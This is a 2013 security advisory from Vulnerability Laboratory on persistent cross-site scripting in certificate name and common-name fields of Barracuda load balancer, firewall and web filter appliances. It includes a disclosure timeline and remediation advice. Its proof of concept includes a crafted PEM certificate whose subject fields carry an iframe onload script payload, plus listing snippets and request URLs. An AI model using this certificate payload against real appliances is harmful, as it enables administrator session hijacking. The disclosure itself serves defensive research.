377 lines
No EOL
18 KiB
Text
377 lines
No EOL
18 KiB
Text
Title:
|
||
======
|
||
Barracuda LB, SVF, WAF & WEF - Multiple Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-07-18
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=727
|
||
|
||
Note: The issue was part of the official Barracuda Networks Bug Bounty Program.
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
727
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
4.1
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
The Barracuda Web Filter is an integrated content filtering, application blocking and malware protection
|
||
solution that is powerful, easy to use and affordable for businesses of all sizes. It enforces Internet
|
||
usage policies by blocking access to Web sites and Internet applications that are not related to business,
|
||
and it easily and completely eliminates spyware and other forms of malware from your organization. No more
|
||
productivity loss trying to repair computers or make computers usable again.
|
||
|
||
Blocks access to Web sites based on domain, URL pattern, or content category
|
||
Blocks downloads based on file type
|
||
Blocks applications that access the Internet, including IM, music services, and software update utilities
|
||
Integrates with safe search filters built into popular images search engines
|
||
Provides integrated gateway and desktop spyware protection
|
||
Uses Barracuda Web Security Agents compatible with Windows PC’s and Macs to enforce Internet policies on off-network computers
|
||
|
||
The Barracuda Web Filter combines preventative, reactive, and proactive measures to form a complete Web
|
||
filtering solution. Designed for the enterprise, the Barracuda Web Filter enables you to set up custom policies
|
||
for particular users and groups across customizable time ranges. The Barracuda Web Filter integrates with popular
|
||
LDAP directory servers, such as Microsoft Active Directory, for both authentication and group membership
|
||
information on which to apply custom policies. Sample uses of group policies include:
|
||
|
||
Restricting access to job board Web sites to only the Human Resources group
|
||
Defining separate policies for teachers and students at a school
|
||
Enabling compliance officers unrestricted access to the Web for investigation
|
||
Providing external instant messaging (e.g., AIM) access only to specific users or groups
|
||
Restricting personal Web browsing to non-working hours
|
||
|
||
For organizations that do not utilize directory servers, policies can be defined for unauthenticated users as a whole,
|
||
locally defined users and groups, or network IP address ranges.
|
||
|
||
(Copy of the Vendor Homepage: http://www.barracudanetworks.com/ns/products/web-filter-overview.php )
|
||
|
||
|
||
The Barracuda Email Security Service is a comprehensive and affordable cloud-based email security service that protects
|
||
both inbound and outbound email against the latest spam, viruses, worms, phishing and denial of service attacks. Barracuda
|
||
Email Security Service also includes email encryption and Data Loss Prevention features.
|
||
|
||
The Barracuda Email Security Service leverages advanced security technologies from the industry-leading Barracuda Spam & Virus
|
||
Firewall and features rich multiple cloud-based protection:
|
||
|
||
Rate control and Denial of Service (DoS) protection
|
||
Reputation-based blocking from known spam and malware sources
|
||
Anti-virus, featuring the patent-pending Barracuda Anti-Virus Supercomputing Grid
|
||
Anti-phishing, using the Barracuda Anti-Fraud Intelligence
|
||
Protection against spam, phishing, fraud and emails with other malicious intent
|
||
Custom sender/recipient policy
|
||
|
||
Comprehensive Protection
|
||
Spam and viruses are blocked in the cloud prior to delivery to the customer, saving network bandwidth and providing additional
|
||
Denial of Service protection. In addition to network bandwidth savings, cloud-based filtering offloads any processing required
|
||
for spam and virus filtering from the email server. By leveraging the compute capacity available in the cloud, patent-pending
|
||
Barracuda Anti-Virus Supercomputing Grid not only detects new outbreaks similar to known viruses, it also identifies new threats
|
||
for which signatures have never existed.
|
||
|
||
(Copy of the Vendor Homepage: https://www.barracudanetworks.com/ns/products/bess_overview.php )
|
||
|
||
|
||
|
||
The Barracuda Web Application Firewall is a complete and powerful security solution for Web applications and Web sites.
|
||
The Barracuda Web Application Firewall provides award-winning protection against hackers leveraging protocol or
|
||
application vulnerabilities to instigate data theft, denial of service or defacement of your Web site.
|
||
|
||
* Protection against common attacks
|
||
* Outbound data theft protection
|
||
* Web site cloaking
|
||
* Granular policies
|
||
* Secure HTTP traffic
|
||
* SSL Offloading
|
||
* SSL Acceleration
|
||
* Load Balancing
|
||
|
||
The Barracuda Web Application Firewall protects Web applications and Web services from malicious attacks, and can also increase
|
||
the performance and scalability of these applications. The Barracuda Web Application Firewall offers every capability needed to
|
||
deliver, secure and manage enterprise Web applications from a single appliance through an intuitive, real-time user interface.
|
||
|
||
* Single point of protection for inbound and outbound traffic for all Web applications
|
||
* Protects Web sites and Web applications against application layer attacks
|
||
* Delivers best practices security right out of the box
|
||
* Monitors traffic and provides reports about attackers and attack attempts
|
||
|
||
The Barracuda Web Application Firewall provides award-winning protection from all common attacks on Web applications, including
|
||
SQL injections, cross-site scripting attacks, session tampering and buffer overflows. Many applications are vulnerable to such
|
||
attacks because application developers do not consistently employ secure coding practices. Barracuda Web Application Firewall is
|
||
designed to combat all attack types that have been categorized as significant threats, including:
|
||
|
||
* Cross Site Scripting (XSS)
|
||
* SQL injection flaws
|
||
* OS command injections
|
||
* Site reconnaissance
|
||
* Session hijacking
|
||
* Application denial of service
|
||
* Malicious probes/crawlers
|
||
* Cookie/session tampering
|
||
* Path traversal
|
||
* Information leakage
|
||
...
|
||
|
||
(Copy of the Vendor Homepage: http://www.barracudanetworks.com/ns/products/web-site-firewall-overview.php)
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple persistent vulnerabilities in the official Barracuda Product Series
|
||
of the Load Balancer, Web Firewall, Web Filter and Spam & Virus Firewall.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-10-18: Researcher Notification & Coordination (Benjamin Kunz Mejri)
|
||
2012-10-19: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
|
||
2012-10-21: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
|
||
2013-04-30: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Dave Farrow]
|
||
2013-07-18: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Barracuda Networks
|
||
Product: Load Balancer 4.2.0.015 Modell 640
|
||
|
||
Barracuda Networks
|
||
Product: Spam & Virus Firewall 5.1.1.006 Modell 600
|
||
|
||
Barracuda Networks
|
||
Product: Web Filter 6.0.0.013 Modell 910
|
||
|
||
Barracuda Networks
|
||
Product: Web Firewall 7.7.0.020 Modell 650
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
Multiple persistent input validation vulnerabilities are detected in the official Barracuda Product Series of the Load Balancer,
|
||
Web Firewall, Web Filter and Spam & Virus Firewall. The web vulnerabilities allow remote attackers to implement/inject malicious
|
||
script code on the application side (persistent).
|
||
|
||
The persistent web vulnerability is located in the certificate management listing module with the bound vulnerable certificate common
|
||
name, certificate name & services name parameters. The vulnerability can be exploited by customers to execute script code in the
|
||
certificate management module listing. The remote attackers can import a own generated ssl pem certificates with manipulated name,
|
||
service and common certificate name. The injected script code of the pem certificate get executed from the main certificate listing
|
||
when processing to display the malicious stored script code context.
|
||
|
||
The bug is located in different sections of the web firewall, load balancer, spam and virus firewall or the new web filter. Affected by
|
||
the vulnerable input are the Available Certificates, Edit Certificates, Trusted Hosts > Certificates, Saved Certificates
|
||
and the Save Token Certificate Name listings.
|
||
|
||
Exploitation of the vulnerabilities requires a low privilege application user account and low or medium user interaction.
|
||
Successful exploitation of the vulnerabilities can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
|
||
Exploitation of the vulnerability requires low or medium user interaction & low or medium privilege web application user account.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] Web Filter & Web Firewall - Advanced (Extended) > SSL Inspection > Certificate Creation [x] CHECK > Zertifikat Generierung
|
||
[+] Spam & Virus - Sicherheitsverwaltung > Konfiguration der SSL-Zertifikate > Trusted (Bestätigt durch CA)
|
||
[+] Spam & Virus - Sicherheitsverwaltung > Certificate Signing Request (CSR) > Edit Data Listing
|
||
[+] Load Balancer - Zertifikat Generierung (INDEX)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] Certificate Name
|
||
[+] Certificate Service
|
||
[+] Certificates - Common Name
|
||
|
||
Affected Section(s):
|
||
[+] Available Certificates - LISTING
|
||
[+] Edit Certificates - LISTING
|
||
[+] Trusted Hosts > Certificates - LISTING
|
||
[+] Saved Certificates - LISTING
|
||
[+] Save Token Certificate Name - LISTING
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The vulnerabilities can be exploited by remote attackers with low or medium privilege application user account and with low or medium
|
||
user interaction. For demonstration or reproduce ...
|
||
|
||
|
||
Review: Save Token - Certificate Name [index.cgi-save_token-listing]
|
||
|
||
<tr><td valign="top"><table class="config_module_inner" summary="Config Module" cellpadding="0" cellspacing="0" width="100%">
|
||
<tbody>
|
||
<tr class="config_module_tr" id="config_module_row_1">
|
||
<td valign="top" width="15"> </td>
|
||
<td valign="top" width="200">Certificate</td>
|
||
<td valign="top" width="250">[<PERSISTENT MALICIOUS INJECTED SCRIPT CODE!>]</td>
|
||
</tr>
|
||
|
||
|
||
Reference(s): (Insert)
|
||
http://waf.127.0.0.1:1339/cgi-mod/index.cgi?auth_type=Local&et=1350361913&locale=de_DE&password=5f879645e0954166ac51efe3be737a2a
|
||
&user=benjamin&primary_tab=BASIC&secondary_tab=server_certs
|
||
|
||
http://waf.127.0.0.1:1339/cgi-mod/index.cgi?password=5f8796456ac51efe3be737a2a&et=1350361913&primary_tab=BASIC&content_only=1
|
||
&new_secondary_tab=server_certs&auth_type=Local&user=benjamin&locale=de_DE&secondary_tab=create_certificate_details&ispopup=1
|
||
&parent_name=server_certs&popup_width=800&popup_height=500
|
||
|
||
Reference(s): (Affected)
|
||
http://waf.127.0.0.1:1339/cgi-mod/index.cgi?password=fb911a7a8bebac208fcab7e79e5&et=1350361362&primary_tab=BASIC&new_secondary_tab=server_certs&
|
||
serial=50943090&auth_type=Local&locale=de_DE&secondary_tab=save_pkcs_token&content_only=1&index=md5skeqylXIOusxkfzaKf19VQ&user=guest
|
||
&type=server_cert_external&ispopup=1&parent_name=certificates&popup_width=650&popup_height=200
|
||
|
||
|
||
|
||
|
||
Review: Available Certificates - Certificate Name [index.cgi-available_certificates-listing]
|
||
|
||
class="config_module_tr" id="config_module_row_1">
|
||
<td valign="top" width="15"> </td>
|
||
<td valign="top" width="210"><div id="helpbox"><b class="outlinetop">
|
||
<b class="outline1"></b>
|
||
<b class="outline2"></b>
|
||
<b class="outline3"></b>
|
||
<b class="outline4"></b></b>
|
||
<div id="contents"><div><[<MALICIOUS PERSISTENT INJECTED SCRIPT CODE!>]"></div></div>
|
||
|
||
|
||
Reference(s): (Insert)
|
||
http://webfilter.127.0.0.1:1339/cgi-mod/index.cgi?auth_type=Local&et=1350718546&locale=de_DE&password=0da45d48882cac50687e539e6
|
||
&primary_tab=ADVANCED&secondary_tab=ssl_certificates&user=benjamin
|
||
|
||
|
||
|
||
|
||
Reference(s): (Affected)
|
||
|
||
Sicherheitsverwaltung > Certificate Signing Request (CSR) > Edit Data Listing
|
||
|
||
http://spam4.127.0.0.1:1339/cgi-mod/index.cgi?password=fb85b10f5d66b87b1194fef&et=1350572565&primary_tab=ADVANCED&
|
||
content_only=1&new_secondary_tab=ssl&auth_type=Local&user=benjamin&locale=de_DE&secondary_tab=create_csr&ispopup=1&
|
||
parent_name=ssl&popup_width=900&popup_height=455
|
||
|
||
Sicherheitsverwaltung > Konfiguration der SSL-Zertifikate > Trusted (Bestätigt durch CA)
|
||
|
||
http://spam4.127.0.0.1:1339/cgi-mod/index.cgi?&user=benjamin&password=06577ccae825950cd833027d&et=1350572515&auth_type=Local&locale=de_DE
|
||
&primary_tab=ADVANCED&secondary_tab=ssl
|
||
|
||
|
||
|
||
|
||
Review: Saved Certificates - Listing (Name)
|
||
|
||
<td style="width: 220px;"><div style="padding-left:30px"><img src="index.cgi-Dateien/cert.png" align="bottom"
|
||
border="0"> <a title=""><<MALICIOUS PERSISTENT INJECTED SCRIPT CODE!>;)" <"="">"><<MALICIOUS PERSISTENT INJECTED SCRIPT CODE!>") <</a></div></td>
|
||
|
||
|
||
Reference(s): (Insert)
|
||
|
||
Zertifikat Generierung (INDEX)
|
||
http://balancer.127.0.0.1:1339/cgi-mod/index.cgi?password=66690cf1f1f6ad9f097e077355a&et=1350476026&primary_tab=BASIC&content_only=3
|
||
&new_secondary_tab=certificates&auth_type=Local&user=benjamin&locale=de_DE&secondary_tab=create_certificate_details&ispopup=1
|
||
&parent_name=certificates&popup_width=1000&popup_height=410
|
||
|
||
|
||
PoC as Certificate (PEM):
|
||
-----BEGIN CERTIFICATE-----
|
||
MIIFzjCCBLagAwIBAgIBADANBgkqhkiG9w0BAQUFADCB+TELMAkGA1UEBhMCREUx
|
||
JDAiBgNVBAgTG2lmcmFtZSBzcmNhIG9ubG9hZGFsZXJ0VkwgIDEkMCIGA1UEBxMb
|
||
aWZyYW1lIHNyY2Egb25sb2FkYWxlcnRWTCAgMSUwIwYDVQQKExxpZnJhbWUgc3Jj
|
||
YSBvbmxvYWRhbGVydFZMICAzMSUwIwYDVQQLExxpZnJhbWUgc3JjYSBvbmxvYWRh
|
||
bGVydFZMICA0MSQwIgYDVQQDExtpZnJhbWVzcmNhb25sb2FkYWxlcnR2bGdvYWwx
|
||
KjAoBgkqhkiG9w0BCQEWG2FkbWluQHZ1bG5lcmFiaWxpdHktbGFiLmNvbTAeFw0x
|
||
MjEwMTYwMzA0MjRaFw0xMzEwMTYwMzA0MjRaMIH5MQswCQYDVQQGEwJERTEkMCIG
|
||
A1UECBMbaWZyYW1lIHNyY2Egb25sb2FkYWxlcnRWTCAgMSQwIgYDVQQHExtpZnJh
|
||
bWUgc3JjYSBvbmxvYWRhbGVydFZMICAxJTAjBgNVBAoTHGlmcmFtZSBzcmNhIG9u
|
||
bG9hZGFsZXJ0VkwgIDMxJTAjBgNVBAsTHGlmcmFtZSBzcmNhIG9ubG9hZGFsZXJ0
|
||
VkwgIDQxJDAiBgNVBAMTG2lmcmFtZXNyY2FvbmxvYWRhbGVydHZsZ29hbDEqMCgG
|
||
CSqGSIb3DQEJARYbYWRtaW5AdnVsbmVyYWJpbGl0eS1sYWIuY29tMIIBIjANBgkq
|
||
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqE35D0H4uFm9Rzo27xGmFNcYG5YS2qfh
|
||
sCzL2IUikMUFGlHpKtqzsy4AKh5eUoelqIiEJRkIowvLbUsD9aKkXiKz432btqir
|
||
zJNBYwivm8kBkY/OMWJUFFU6GW8CGD6DW5jHaKuM8hO+TjmOyYzRvBQdcdIJLmr3
|
||
4oQPIGMIAEu9GZ8BJIwqutuZOYS+WLjNh7nRx+IrhDOap4GGo/bRmDdzxD0hXD3A
|
||
chSByxZrNDbqeH2kMybLQxqroOfsRO3hanqpAVIG/waLxPqwcvCgcRSYn89T7eEw
|
||
+YiE39Zji79ISXipua8tJSN6PIgxFv0s1fNFe4hV0O4WEokV7jHyNwIDAQABo4IB
|
||
XTCCAVkwHQYDVR0OBBYEFHIofDj443DxVAe03kF0TAXwEz4tMIIBKAYDVR0jBIIB
|
||
HzCCARuAFHIofDj443DxVAe03kF0TAXwEz4toYH/pIH8MIH5MQswCQYDVQQGEwJE
|
||
RTEkMCIGA1UECBMbaWZyYW1lIHNyY2Egb25sb2FkYWxlcnRWTCAgMSQwIgYDVQQH
|
||
ExtpZnJhbWUgc3JjYSBvbmxvYWRhbGVydFZMICAxJTAjBgNVBAoTHGlmcmFtZSBz
|
||
cmNhIG9ubG9hZGFsZXJ0VkwgIDMxJTAjBgNVBAsTHGlmcmFtZSBzcmNhIG9ubG9h
|
||
ZGFsZXJ0VkwgIDQxJDAiBgNVBAMTG2lmcmFtZXNyY2FvbmxvYWRhbGVydHZsZ29h
|
||
bDEqMCgGCSqGSIb3DQEJARYbYWRtaW5AdnVsbmVyYWJpbGl0eS1sYWIuY29tggEA
|
||
MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBABiGKfDora8sj8YWgnFb
|
||
WNyvnkaah5Ds21nFaN5I3ReSPLDGEAdRYSI3K9g9LjHLIkyUT2kDChLXPnm6Gbuu
|
||
BVGUKQpZV+ORbB5J1NvmFJlyCVU+3PmU5JFggmsuBRSI1sIsUvyVdRxeasnhlw7i
|
||
ZwtWAz1D13+zfb60QZc+Ekvn2d2RKFQ5eWxGrlEZ3niRjcO9Jr/HVE66HTzf6AUn
|
||
r1zcu/7IqNr9wI0I9cQx2lnR9GgpSP3gBH7F5SXw6b1dLvHVIgcnd62JzyJNrQ1B
|
||
dQYTStsbK710ik9OKq86j8tgQ9Q0TdLh7t9KncRmlZtxZSeYkzM9j1vdDpSrMMHU
|
||
3xU=
|
||
-----END CERTIFICATE-----
|
||
|
||
|
||
Solution:
|
||
=========
|
||
The vulnerabilities can be patched by parsing the affected (displayed) certificate value(s) output listing.
|
||
Restrict and parse the input fields (function) of trusted and self signed certificates values to prevent future executions out of the certificate context.
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the persistent input validation web vulnerabilities are estimated as high(-).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |